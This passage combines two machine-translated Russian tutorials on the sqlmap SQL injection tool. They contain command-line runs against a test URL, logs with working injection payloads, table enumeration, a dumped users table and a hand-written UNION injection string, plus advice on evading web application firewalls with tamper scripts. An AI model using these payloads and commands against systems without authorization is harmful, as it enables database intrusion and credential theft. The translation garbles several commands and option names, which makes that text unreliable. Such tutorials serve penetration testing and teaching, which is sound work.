elliot @ evilcorp: ~ $ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Клонирование в sqlmap-dev ... удаленный: Подсчет объектов: 633, готово. remote: Сжатие объектов: 100% (602/602), готово. удаленный: всего 633 (дельта 170), повторно используется 171 (дельта 20), повторно используется пакет 0 Прием объектов: 100% (633/633), 7,17 Мбайт | 2,44 Мбайт / с, готово. Разрешение дельт: 100% (170/170), готово.
Перейдите в каталог и запустите скрипт python, чтобы убедиться, что все в порядке.
Эллиот @ Evilcorp: ~ $ cd sqlmap-dev Эллиот @ Evilcorp: ~ / sqlmap-dev $ python sqlmap.py __ЧАС__ ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev} | _ - | . ['] | . '| . | | ___ | _ ["] _ | _ | _ | __, | _ | | _ | V ... | _ | http://sqlmap.org Использование: python sqlmap.py [параметры] sqlmap.py: ошибка: отсутствует обязательный параметр (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output или - -dependencies), используйте -h для базовой или -hh для расширенной справки
Если вы не видите что-то подобное приведенному выше, убедитесь, что python работает (попробуйте python -V
), чтобы проверить версию, и вы находитесь в правильном месте.Теперь перейдем к самому простому.
Чтобы получить полный список доступных опций, запустите python sqlmap.py -h
.
Запуск SQLmap
Простой тест на основе HTTP GET
В этом простом тесте мы будем использовать стандартный запрос HTTP GET
на основе URI с параметром (? Id = 5). Это проверит различные методы внедрения SQL по параметру id
.
python sqlmap.py -u 'http://mytestsite.com/page.php?id=5'
В результатах мы можем видеть различные методы, используемые для параметра.
___ __ЧАС__ ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev} | _ - | . ['] | . '| . | | ___ | _ ["] _ | _ | _ | __, | _ | | _ | V ... | _ | http://sqlmap.org [!] отказ от ответственности: использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. [*] начиная с 12:55:56 [12:55:56] [INFO] проверка подключения к целевому URL [12:55:57] [INFO] проверка, защищена ли цель каким-либо WAF / IPS / IDS [12:55:58] [INFO] проверка стабильности содержания целевого URL [12:55:58] [INFO] содержание целевого URL стабильно [12:55:58] [INFO] проверка, является ли параметр GET 'id' динамическим [12:55:58] [INFO] подтверждение того, что параметр GET 'id' является динамическим [12:55:59] [ИНФОРМАЦИЯ] Параметр GET 'id' является динамическим [12:55:59] [INFO] эвристический (базовый) тест показывает, что параметр GET 'id' может быть инъекционным (возможная СУБД: 'MySQL') [12:56:00] [INFO] Тестирование SQL-инъекции по параметру GET 'id' похоже, что внутренняя СУБД - это «MySQL».Вы хотите пропустить тестовые данные, специфичные для других СУБД? [Да / нет] Да для остальных тестов, хотите ли вы включить все тесты для MySQL, расширяющие предоставленные значения уровня (1) и риска (1)? [Да / нет] Да [12:56:16] [ИНФОРМАЦИЯ] тестирование 'И слепое логическое значение - предложение WHERE или HAVING' [12:56:18] [ИНФОРМАЦИЯ] Параметр GET 'id' выглядит как 'И на основе логических значений слепой - предложение WHERE или HAVING' вводится (с --string = "hac") [12:56:18] [INFO] тестирование 'MySQL> = 5.5 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (BIGINT UNSIGNED)' [12:56:19] [INFO] тестирование MySQL> = 5.5 ИЛИ на основе ошибок - предложение WHERE или HAVING (BIGINT UNSIGNED) ' [12:56:19] [INFO] тестирование 'MySQL> = 5.5 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (EXP)' [12:56:19] [INFO] тестирование "MySQL> = 5.5 ИЛИ на основе ошибок - предложение WHERE или HAVING (EXP)" [12:56:20] [INFO] тестирование "MySQL> = 5.7.8 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (JSON_KEYS)" [12:56:20] [INFO] тестирование 'MySQL> = 5.7.8 ИЛИ на основе ошибок - предложение WHERE или HAVING (JSON_KEYS)' [12:56:21] [INFO] тестирование MySQL> = 5.0 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (FLOOR) ' [12:56:21] [INFO] тестирование 'MySQL> = 5.0 ИЛИ на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (FLOOR)' [12:56:21] [INFO] тестирование 'MySQL> = 5.1 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (EXTRACTVALUE)' [12:56:22] [INFO] тестирование 'MySQL> = 5.1 ИЛИ на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (EXTRACTVALUE)' [12:56:22] [INFO] тестирование 'MySQL> = 5.1 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (UPDATEXML)' [12:56:22] [INFO] тестирование MySQL> = 5.1 ИЛИ на основе ошибок - предложение WHERE, HAVING, ORDER BY или GROUP BY (UPDATEXML) ' [12:56:23] [INFO] тестирование 'MySQL> = 4.1 И на основе ошибок - предложения WHERE, HAVING, ORDER BY или GROUP BY (FLOOR)' [12:56:23] [INFO] тестирование 'MySQL> = 4.1 ИЛИ на основе ошибок - предложение WHERE или HAVING (FLOOR)' [12:56:24] [ИНФОРМАЦИЯ] тестирование «MySQL OR на основе ошибок - предложение WHERE или HAVING (FLOOR)» [12:56:24] [ИНФОРМАЦИЯ] тестирование 'MySQL> = 5.1 на основе ошибок - АНАЛИЗ ПРОЦЕДУРЫ (EXTRACTVALUE)' [12:56:25] [INFO] тестирование MySQL> = 5.5 на основе ошибок - замена параметра (BIGINT UNSIGNED) ' [12:56:25] [INFO] тестирование 'MySQL> = 5.5 на основе ошибок - замена параметра (EXP)' [12:56:25] [INFO] тестирование 'MySQL> = 5.7.8 на основе ошибок - замена параметра (JSON_KEYS)' [12:56:26] [INFO] тестирование 'MySQL> = 5.0 на основе ошибок - замена параметра (FLOOR)' [12:56:26] [INFO] тестирование 'MySQL> = 5.1 на основе ошибок - замена параметра (UPDATEXML)' [12:56:27] [INFO] тестирование 'MySQL> = 5.1 на основе ошибок - замена параметра (EXTRACTVALUE)' [12:56:27] [INFO] тестирование 'встроенных запросов MySQL' [12:56:27] [INFO] тестирование MySQL> 5.0.11 составные запросы (комментарий) ' [12:56:28] [INFO] тестирование "MySQL> 5.0.11 составных запросов" [12:56:28] [INFO] тестирование 'MySQL> 5.0.11 составные запросы (запрос SLEEP - комментарий)' [12:56:28] [ИНФОРМАЦИЯ] тестирование 'MySQL> 5.0.11 составные запросы (запрос SLEEP)' [12:56:29] [ИНФОРМАЦИЯ] тестирование MySQL = 5.0.12 И слепое по времени [12:56:41] [ИНФОРМАЦИЯ] Параметр GET 'id' выглядит как 'MySQL> = 5.0.12 И слепой по времени' вводимый [12:56:41] [INFO] тестирование «Общий запрос UNION (NULL) - от 1 до 20 столбцов» [12:56:41] [ИНФОРМАЦИЯ] автоматически расширяет диапазоны для тестов техники внедрения запросов UNION, поскольку обнаружен как минимум один другой (потенциальный) метод [12:56:41] [INFO] Техника «ORDER BY», похоже, пригодна для использования.Это должно сократить время, необходимое для поиска нужного количества столбцов запроса. Автоматическое расширение диапазона для текущего теста техники внедрения запроса UNION [12:56:43] [ИНФОРМАЦИЯ] целевой URL содержит 3 столбца в запросе [12:56:46] [ИНФОРМАЦИЯ] Параметр GET 'id': 'Типовой запрос UNION (NULL) - от 1 до 20 столбцов' вводимый Параметр GET 'id' уязвим. Вы хотите продолжить тестирование остальных (если есть)? [да / нет] нет sqlmap определила следующие точки (-ы) внедрения с 53 HTTP-запросами: --- Параметр: id (GET) Тип: слепой на основе логических значений Заголовок: AND, основанный на логических значениях, слепой - предложение WHERE или HAVING Полезная нагрузка: id = 1 И 9561 = 9561 Тип: И / ИЛИ слепой по времени Название: MySQL> = 5.0,12 И блайнды по времени Полезная нагрузка: id = 1 AND SLEEP (5) Тип: запрос UNION Заголовок: Общий запрос UNION (NULL) - 3 столбца Полезная нагрузка: id = -6630 UNION ALL SELECT NULL, CONCAT (0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71), NULL-- m --- [12:56:52] [INFO] внутренняя СУБД - это MySQL технология веб-приложений: Nginx, PHP 5.3.10 внутренняя СУБД: MySQL> = 5.0.12 [12:56:52] [INFO] получил данные, записанные в текстовые файлы в '/ home / elliot /.sqlmap / output / mytestsite ' [*] закрытие в 12:56:52
Блокировка брандмауэром веб-приложений — WAF
Попробуйте использовать другой пользовательский агент, а не sqlmap по умолчанию с параметром --randomagent
.
elliot @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u "http://mytestsite.com/page.php?id=5" --random-agent ___ __ЧАС__ ___ ___ [,] _____ ___ ___ {1.3.10.41 # dev} | _ - | . [.] | . '| . | | ___ | _ [)] _ | _ | _ | __, | _ | | _ | V... | _ | http://sqlmap.org [!] отказ от ответственности: использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. [*] начало в 14:14:04 / 01.11.2019 /
Получить таблицы базы данных
SQLmap можно использовать для тестирования и использования SQL Injection, делая такие вещи, как извлечение данных из баз данных, обновление таблиц и даже запускающих оболочек на удаленных хостах , если все утки находятся в очереди.
Давайте извлечем таблицы из базы данных с помощью уязвимости SQL Injection, подтвержденной выше. Как вы увидите в выходных данных ниже, мы можем продолжить тестирование с целью без повторного тестирования уязвимости. SQLmap использует известную ему информацию о сайте для дальнейшего использования целевой базы данных.
Чтобы получить данные, мы просто добавляем параметр к предыдущей команде. Добавив --tables
, мы можем попытаться получить все таблицы.
эллиот @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables ___ __ЧАС__ ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev} | _ - | . ['] | . '| . | | ___ | _ ["] _ | _ | _ | __, | _ | | _ | V ... | _ | http://sqlmap.org [!] отказ от ответственности: использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. [*] начиная с 12:59:04 [12:59:04] [INFO] возобновление работы серверной СУБД mysql [12:59:04] [INFO] проверка подключения к целевому URL sqlmap возобновил следующую точку (точки) инъекции из сохраненного сеанса: --- Параметр: id (GET) Тип: слепой на основе логических значений Заголовок: AND, основанный на логических значениях, слепой - предложение WHERE или HAVING Полезная нагрузка: id = 1 И 9561 = 9561 Тип: И / ИЛИ слепой по времени Название: MySQL> = 5.0,12 И блайнды по времени Полезная нагрузка: id = 1 AND SLEEP (5) Тип: запрос UNION Заголовок: Общий запрос UNION (NULL) - 3 столбца Полезная нагрузка: ud = -6630 UNION ALL SELECT NULL, CONCAT (0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71IJ - NULL --- [12:59:05] [ИНФОРМАЦИЯ] внутренняя СУБД - это MySQL технология веб-приложений: Nginx, PHP 5.3.10 внутренняя СУБД: MySQL> = 5.0.12 База данных: книги [8 таблиц] + --------------------------------------- + | автор | | тележки для покупок | | категории | | избранные | | гостевая книга | | картинки | | продукты | | пользователи | + --------------------------------------- + База данных: information_schema [28 таблиц] == вырезано == + --------------------------------------- + | CHARACTER_SETS | | КОЛЛАЦИИ | | COLLATION_CHARACTER_SET_APPLICABILITY | | КОЛОННЫ | | ТРИГГЕРЫ | | USER_PRIVILEGES | | ПРОСМОТРЫ | + --------------------------------------- + [12:59:21] [INFO] получил данные, записанные в текстовые файлы в '/ home / elliot /.sqlmap / output / mytestsite.com ' [*] закрытие в 12:59:21
Дамп данных
Чтобы получить данные, мы просто расширяем нашу команду. Добавление -T пользователей
сосредоточится на таблице пользователей, где мы могли бы получить некоторые учетные данные. Добавление --dump
скажет SQLmap взять все данные из таблицы пользователей, сначала будут перечислены столбцы, а затем данные будут выгружены из столбцов.
эллиот @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables ___ __ЧАС__ ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev} | _ - | . ['] | . '| . | | ___ | _ ["] _ | _ | _ | __, | _ | | _ | V ... | _ | http://sqlmap.org [!] отказ от ответственности: использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой. [*] начиная с 12:59:04 [12:59:04] [INFO] возобновление работы серверной СУБД mysql [12:59:04] [INFO] проверка подключения к целевому URL sqlmap возобновил следующую точку (точки) инъекции из сохраненного сеанса: --- СНИП ----- База данных: пользователи Таблица: пользователи [1 запись] + ---------- + ---------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- + | имя | тележка | пройти | пользователь | телефон | электронная почта | адрес | ---------- + ----------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- + | Эллиот | 55207107sfefsff8e7f2fa5ef4fa00f6 | тест | тест | 4563454 | поддельный @ testtest.com | | + ---------- + ---------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- + [13:08:36] [INFO] таблица "пользователи" выгружены в файл CSV "/home/fred/.sqlmap/output/mytestsite/dump/books/users.csv" [13:08:36] [INFO] получил данные, записанные в текстовые файлы в '/home/fred/.sqlmap/output/mytestsite' [*] завершение работы в 13:08:36
Советы по SQLmap — Не стесняйтесь тестировать SQL-инъекции
Подробный вывод
При тестировании SQL-инъекции часто необходимо вручную копаться в запросах, чтобы определить проблемы с тестом или подтвердить или даже использовать обнаруженную инъекцию.Возможность увеличить подробность вывода SQLmap поможет в этом тестировании.
Увеличив степень детализации до 4, вы можете получать HTTP-запросы, при 5 вы также увидите заголовки HTTP-ответа, а 6 покажет полный HTTP-ответ. Очевидно, это может стать очень шумным, но иногда вам нужно увидеть, что происходит.
Есть учетные данные для базы данных?
Этот удобный совет позволяет напрямую подключаться к базе данных и выгружать данные, такие как пользователи, базы данных или таблицы.Приятно то, что вам не нужно запоминать синтаксис SQL для базы данных или иметь установленный клиент. SQLmap сделает тяжелую работу, выступая в роли клиента базы данных для дампа данных.
DB Строки подключения:
MySQL, Oracle, Microsoft SQL Server, PostgreSQL
СУБД: // ПОЛЬЗОВАТЕЛЬ: ПАРОЛЬ @ DBMS_IP: DBMS_PORT / DATABASE_NAME
SQLite, Microsoft Access
СУБД: // БАЗА ДАННЫХ_FILEPATH
Взрывные снаряды и многое другое
SQLmap имеет смехотворное количество опций и является прекрасным инструментом для работы с базой данных.Помимо установки оболочек на целевом хосте, вы можете отправлять запросы через tor, автоматически находить инъекции в ответах страниц, на сайтах-пауках и, конечно же, выполнять тестирование на основе HTTP POST. Эти примеры лишь поверхностные. Найдите больше примеров на отличной вики-странице github.
SQL-инъекция продолжает оставаться излюбленной целью злоумышленников.
Используйте наш сканер SQL Injection для проверки вводимых параметров в веб-URI.
Тестирование нового уровня с помощью расширенных сканеров уязвимостей.
Надежные инструменты. Размещено для легкого доступа.
.Расширенное руководство по
Sqlmap — Поиск безопасности
Сегодня мы будем работать с самым популярным инструментом сканирования SQL-инъекций и углубимся в расширенное руководство по sqlmap.
sqlmap — это инструмент атаки, который можно эффективно использовать для выполнения атак SQL-инъекций и действий после эксплуатации. Это универсальный инструмент для SQL-инъекций . Большинство специалистов по безопасности используют sqlmap для тестов проникновения SQL.
sqlmap — это модульная структура, написанная на Python. Он может обнаруживать большинство недостатков SQL-инъекций на разных платформах. Поддерживаются следующие базы данных: ySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase и SAP MaxDB.
После успешной эксплуатации он может перечислять базы данных и таблицы, а также создавать дамп базы данных и таблиц.
Базовый поток SQLMap выглядит следующим образом:
- Перечислить информацию о базе данных, такую как имя, версия, другие сведения,
- Выберите конкретную базу данных для перечисления таблиц,
- Выбрать таблицы и перечислить столбцы,
- Выбрать столбцы и перечислить строки для извлечения данных,
- Дальнейшая эксплуатация при необходимости.
На видео ниже вы можете увидеть несколько интересных примеров использования sqlmap с доступными и применимыми командами и параметрами:
Префикс и суффикс
Параметры префикса (–prefix) и суффикса (–suffix) настраивают строки, которые должны быть включены в каждую полезную нагрузку SQL-инъекции , чтобы начать, а затем завершить инъекцию. Так что именно это означает?
Возьмем этот простой пример вводимого запроса:
$ query = "ВЫБЕРИТЕ first_name, last_name FROM пользователей WHERE name = '".$ _GET ["имя пользователя"]. "'";
Какой пример строки для инъекций, которая здесь подойдет? Что-то вроде следующего будет работать как простой POC инъекции объединения.
'UNION SELECT NULL, NULL -
Это закрывает строку в одинарных кавычках перед нашей точкой внедрения одинарной кавычкой (‘), разделяет следующий оператор пробелом (), добавляет наш запрос внедрения UNION SELECT с количеством столбцов, совпадающим с количеством столбцов в существующем запросе SELECT, и затем закомментирует оставшуюся часть исходного запроса для обеспечения синтаксической правильности.
Префикс в этом случае — это одинарная кавычка и пробел (‘), используемые перед UNION SELECT, а суффикс — это символы (пробел, два дефиса, еще один пробел и буква «a»), используемые для комментирования оставшейся части исходный запрос (- а).
Для настройки sqlmap для использования этого префикса и суффикса можно использовать следующие параметры:
--prefix = "'" --suffix =' - a '
Эти конкретные примеры префиксов и суффиксов (или тех, которые имеют идентичную функциональность) — это те, которые sqlmap сможет определить сам, поэтому вам редко потребуется указывать подобные значения.Тем не менее, мы надеемся, что это поможет вам понять, что делают эти параметры, потому что они очень важны, если вы хотите использовать sqlmap для более сложных инъекций.
На самом деле, я поставил эти параметры первыми в списке тех, которые хотел описать, потому что, когда я работал над этим процессом, изучая, как заставить sqlmap выявлять определенные уязвимости инъекций, именно они я использовал чаще всего. Кроме того, наконец узнав, что они делают, было «АГА!» момент для меня, так как я знал о существовании вариантов в течение стыдно долгого времени, не понимая, что они сделали.
Примечание : зачем использовать значения NULL в UNION SELECT? NULL — отличное значение для использования в UNIONS при попытке определить правильное количество столбцов в инъекции, поскольку он может заменять несколько различных типов полей, таких как числа, строки и даты.
Note2 : Почему после комментария стоит лишний пробел и символ «а»? Иногда вставленные комментарии в конце инъекции не распознаются должным образом базой данных, если за ними не следует пробельный символ.Поскольку пробельные символы сами по себе иногда нелегко идентифицировать при отображении на экране (в зависимости от того, какой другой текст следует за ним), полезно впоследствии включить другой текст, чтобы вы могли легко увидеть, что за комментарием что-то есть. Вы увидите, что sqlmap делает это, когда посмотрите на некоторые из строк, которые он использует.
Спецификация техники впрыска и испытаний
Существует ряд различных методов SQL-инъекций, доступных для использования в sqlmap, которые настраиваются с помощью параметра –technique, а sqlmap поставляется с рядом различных встроенных тестов для эксплуатации уязвимостей с использованием этих методов.По умолчанию sqlmap включает все возможные методы при попытке идентифицировать уязвимость, связанную с внедрением, и запускает все связанные тесты, которые соответствуют настроенным параметрам риска и уровня (обсуждаются позже).
Если вы вручную обнаружили ошибку SQL-инъекции на веб-сайте и хотите использовать sqlmap для использования уязвимости, вы, возможно, уже знаете правильный метод, а также наиболее подходящую конфигурацию полезной нагрузки для использования, и именно здесь эти параметры указываются вручную может быть полезно.Указание этих параметров вручную помогает предотвратить выбор менее эффективных методов программой sqlmap и сокращает объем трафика, отправляемого sqlmap в период ее обнаружения.
Краткий список техник внедрения, доступных для использования sqlmap, приведен ниже в порядке предпочтения. Вы можете выбрать подходящие, используя переключатель –technique, за которым следует список букв, связанных с методами, которые вы хотите использовать. По умолчанию используются все параметры (например,г. « — техника = BEUSTQ »). Описания, представленные ниже, предназначены только для напоминания высокого уровня о каждой технике
.
- Составные запросы (S) — это включает в себя наложение целых новых SQL-запросов в конец существующего вводимого запроса. Это предпочтительный метод для использования, если он доступен, потому что существует ряд действий по эксплуатации, которые не будут доступны вам при использовании любого другого метода, однако использование этого метода требует поддержки со стороны базы данных и API.Возможно, вы не обязательно сможете увидеть результаты сложенного запроса в ответе страницы, поэтому при фактическом извлечении данных (в отличие от выполнения других операций, таких как INSERTS), вы можете использовать другой метод, например Unions.
- На основе запроса объединения (U) — Это включает получение данных путем присоединения второго оператора выбора к исходному с помощью оператора UNION SELECT. Чтобы этот метод можно было использовать, вы должны иметь возможность видеть результаты исходного запроса SELECT (и, следовательно, вашего UNION) в ответе страницы.
- На основе ошибок (E) — этот метод извлекает данные, манипулируя сообщениями об ошибках базы данных, чтобы напрямую отображать эти данные. Чтобы использовать этот метод, вы должны иметь возможность видеть сообщения об ошибках базы данных в ответах страниц.
- Встроенные запросы (I) — Этот метод использует встроенные запросы к базе данных для извлечения данных — по сути, запрос, встроенный в другой запрос, например «ВЫБРАТЬ (ВЫБРАТЬ пароль от пользователя) из продукта». У меня лично не было возможности использовать эту опцию в sqlmap, и хотя встроенные запросы могут использоваться более широко, чем это, в сценариях ручного внедрения, похоже, что вам нужно иметь возможность видеть результаты встроенных запросов в ответе страницы для этого для использования через sqlmap.
- Boolean blind (B) — Это извлекает данные из базы данных, задавая серию вопросов в стиле «Истина / Ложь» в ваших инъекциях и определяя результат (Истина или Ложь) на основе идентифицируемых изменений в ответе. Чтобы использовать эту опцию, вы должны иметь возможность инициировать какое-то идентифицируемое изменение состояния в содержимом ответа HTTP с логически различных, но синтаксически правильных запросов к базе данных (например, ответ другой страницы, полученный только в результате неверного запроса базы данных, считать здесь).Этот метод потребует больше запросов и времени для выполнения, чем перечисленные ранее, поскольку данные должны быть получены косвенно через логический вывод.
- Слепой по времени (T) — этот метод похож на булевский слепой, поскольку он извлекает данные, задавая в базе данных ряд вопросов в стиле True / False, однако вместо того, чтобы определять ответы на эти вопросы по содержимому ответ, это делается с учетом количества времени, которое требуется для ответа. Это достигается путем связывания преднамеренных задержек с конкретными ответами с помощью операторов базы данных, которые потребляют заметное количество времени, например, сон.Это наиболее трудоемкий метод получения данных, чувствительный к ошибкам, вызванным сетевой нагрузкой. Без тщательной пользовательской настройки вы можете обнаружить, что sqlmap выбирает этот метод для более сложных уязвимостей инъекций, которые можно использовать более эффективными способами.
Выбор определенного метода или набора методов ограничит полезные данные, которые sqlmap будет использовать, теми, которые связаны с этим / этими методами. Также можно дополнительно отфильтровать запрашиваемые полезные данные с помощью параметров –test-filter и –test-skip для целевых полезных данных, которые содержат (или не содержат) определенный текст в своем имени.
Если, например, вы знаете, что ваша целевая уязвимость SQLi существует в предложении ORDER BY запроса, почему бы не отфильтровать только эти тестовые данные с помощью:
--test-filter = 'ЗАКАЗАТЬ'
Кроме того, если вы напишете свои собственные тестовые полезные данные для инъекции, вы можете использовать только эти конкретные полезные данные, установив фильтр для уникальной строки, которую вы добавили к имени.
Примечание : Чтобы иметь наилучшие шансы сконфигурировать sqlmap для обнаружения и использования данной сложной уязвимости, важно правильно понимать тип инъекции, которую вы хотите использовать, и требования к ее эксплуатации.Это связано с тем, что для уязвимостей внедрения, которые sqlmap не может найти самостоятельно, вы должны иметь возможность вручную создать эффективный эксплойт POC, чтобы использовать его в качестве основы для правильной настройки конфигурации sqlmap. Надеюсь, это краткое изложение доступных типов инъекций достаточно четкое и подробное, чтобы дать достаточно информации, но если вам неясны эти методы, вы можете провести дополнительное исследование любых техник, с которыми вы не знакомы, прежде чем продолжить.
Риски и уровни
Параметры рисков и уровней в sqlmap будут определять, какие тестовые полезные данные будут предприняты во время прогона обнаружения для выявления уязвимости SQLi.Каждая полезная нагрузка теста имеет настроенный уровень и параметр риска, и если настроенный порог не достигается для этой полезной нагрузки во время определенного запуска инструмента, эта конкретная полезная нагрузка не будет использоваться.
Риск в sqlmap относится к риску сбоя, возможного повреждения базы данных или ошибки при извлечении данных, связанных с использованием связанной полезной нагрузки. Доступные настройки риска варьируются от 1 до 3, причем по умолчанию используется 1 (самый низкий уровень).
Уровень
относится к количеству запросов, необходимых для использования соответствующей полезной нагрузки для эксплуатации.Доступные настройки уровня варьируются от 1 до 5, при этом 1 снова является значением по умолчанию.
Общая рекомендация, содержащаяся в различных руководствах по использованию, заключается в увеличении рисков и настроек уровня, если sqlmap не идентифицирует уязвимость в своей конфигурации по умолчанию, однако, по моему опыту для более сложных уязвимостей инъекций, одного этого изменения часто недостаточно.
Опции обнаружения
Использование метода логической слепой инъекции часто требует, чтобы вы указали sqlmap, что искать в содержимом ответа HTTP, чтобы отличить истинное условие от ложного.В sqlmap есть несколько параметров, которые позволяют настроить это поведение, например –string и –not-string (настройка строк, которые должны отображаться в ответах True и False соответственно), –regexp (позволяющий установить регулярное выражение на match для определения условия True), –code (предоставить код состояния HTTP для соответствия True), –text-only (сравнить ответы на основе текстового содержимого) и –titles (сравнить ответы на основе заголовка страницы).
Изящная вещь, которую вы можете сделать с параметрами –string и –not-string, — это использовать шестнадцатеричные кавычки Python для выполнения многострочного сопоставления.Вот пример, показывающий, как сопоставить раздел HTML, который включает символы новой строки (\ x0a) и табуляции (\ x09).
--string = 'Имя \ x0a \ x09 \ x09Stephen'
Когда ваши потребности в обнаружении более сложны, чем те, которые могут быть удовлетворены с помощью вышеперечисленных опций, есть еще одна функция sqlmap, которой вы можете злоупотребить, проявив немного воображения, чтобы выполнить более сложную сравнительную логику, что приводит нас к…
Впрыск второго порядка
sqlmap содержит параметр –second-order, который предназначен для использования для включения эксплуатации уязвимостей SQL-инъекций второго порядка, когда результаты SQL-инъекций должны быть получены с другого URL, чем тот, который используется для фактического выполнения инъекции. .Этот параметр позволяет указать один URL-адрес, который будет запрашиваться sqlmap после отправки каждой полезной нагрузки, а затем анализироваться в соответствии с обычным настроенным поведением sqlmap.
Установив параметр –second-order для указания на ваш собственный локально запущенный настраиваемый сервер пересылки и анализа, вы можете использовать эту опцию для возврата произвольного содержимого в sqlmap, возможно, на основе данных, которые вы автоматически получили с целевого сайта. Эту возможность можно использовать для таких вещей, как извлечение данных из динамически изменяющегося URL-адреса второго порядка на целевом сайте или для извлечения контента с удаленного сайта и выполнения его сложного синтаксического анализа или логических проверок, передавая sqlmap то, что он может процесс, используя встроенные функции.
Скрипты тампера
Сценарии взлома в sqlmap позволяют вносить программные изменения во все полезные данные запросов, отправляемые sqlmap, чтобы облегчить обход брандмауэров веб-приложений и других фильтров. Если вы имеете дело с фильтрами, которые запрещают, например, все пробелы в строке внедрения, существует настроенный сценарий вмешательства, который может помочь (–tamper = space2comment).
Пользовательские письменные тестовые данные
sqlmap поставляется с большим количеством тестовых данных, которые можно использовать для инъекций.Они определены в файлах xml, названных в честь соответствующей техники внедрения, хранящейся в xml / payloads по корневому пути sqlmap. Вы можете добавить свои собственные полезные данные в эти файлы, скопировав xml-узлы существующего теста (тот, который похож на тот, который вы хотите создать) и изменив его по мере необходимости.
Проверка детализации и отладки инъекций
Одной из чрезвычайно полезных опций для устранения неполадок в процессе обнаружения sqlmap является опция детализации вывода. Конкретный параметр, который я чаще всего использую при работе с инъекцией, — это -v3, который показывает каждую необработанную полезную нагрузку, отправляемую sqlmap.Это позволяет вам сравнивать полезные данные, отправленные sqlmap, с вашей собственной строкой POC SQL-инъекции, разработанной во время обнаружения уязвимости, чтобы определить, где sqlmap неправильно расходится. Если вам также необходимо использовать сценарии вмешательства, чтобы обойти фильтр, вы можете попробовать уровень детализации -v4, чтобы также увидеть отправленные HTTP-запросы, поскольку подробность -v3 не покажет влияние сценариев вмешательства.
Примечание : Вы также можете настроить sqlmap для работы через перехватывающий прокси в целях отладки.Однако, хотя у меня обычно всегда работает Burp Suite, когда я тестирую любое веб-приложение, я обычно предпочитаю избегать заполнения своей истории прокси-сервера и замедления работы sqlmap этим. Иногда, если я действительно хочу внимательно изучить запросы и ответы, я запускаю отдельный экземпляр прокси, используя что-то вроде ZA Proxy.
Автоответчик
При определенных обстоятельствах sqlmap будет задавать вам один и тот же набор из одного или нескольких повторяющихся вопросов каждый раз, когда вы запускаете инструмент.Некоторые из этих вопросов не имеют собственных связанных параметров командной строки и, следовательно, не имеют очевидного способа сообщить sqlmap о желаемом поведении, поэтому вам не придется повторно отвечать на один и тот же вопрос каждый раз, когда sqlmap предлагает вам.
Параметр –answers позволяет вам дать стандартный ответ на эти вопросы — использовать его, выбрать уникальный термин из самого вопроса и предоставить его вместе с желаемым ответом.
Например, чтобы предварительно ответить Да, чтобы разрешить sqlmap попытаться «оптимизировать» параметры синхронизации во время инъекций на основе слепого времени, используйте следующее.
--answers = 'optimize = Y'
Промывка сеанса
sqlmap хранит информацию о сеансе для каждого URL-адреса, в том числе о том, какие методы и полезные данные были подтверждены для работы и какие данные были получены с сайта. Если неоптимальный тип полезной нагрузки был связан с определенным URL-адресом в соответствующем сеансе, вы можете удалить эту информацию о сеансе, чтобы попытаться заставить новую полезную нагрузку работать. Вы можете очистить все данные, связанные с URL-адресом, и принудительно запустить процесс обнаружения снова, используя следующую опцию.
- промывочная сессия
Прочие опции
Некоторые другие параметры, которые я обычно использую, — это параметр, который указывает, какой параметр используется для выполнения инъекции (например, -p ‘уязвимый_параметр’), и параметры для указания базы данных (например, –dbms = ‘mysql’) и операционной системы ( –Os = ‘linux’), который используется на удаленном сервере.
Все это помогает sqlmap избежать посторонних запросов, выходящих за рамки того, что, как вы уже знаете, будет эффективным на основе ваших знаний о целевом веб-приложении.Иногда, конечно, точка инъекции находится вне параметра, и в этом случае sqlmap имеет другие параметры, которые можно использовать для нацеливания ее работы, например, символ звездочки (*), который можно использовать для установки точки ручной инъекции в запросе.
.
инструмент для автоматического внедрения SQL и замены базы данных
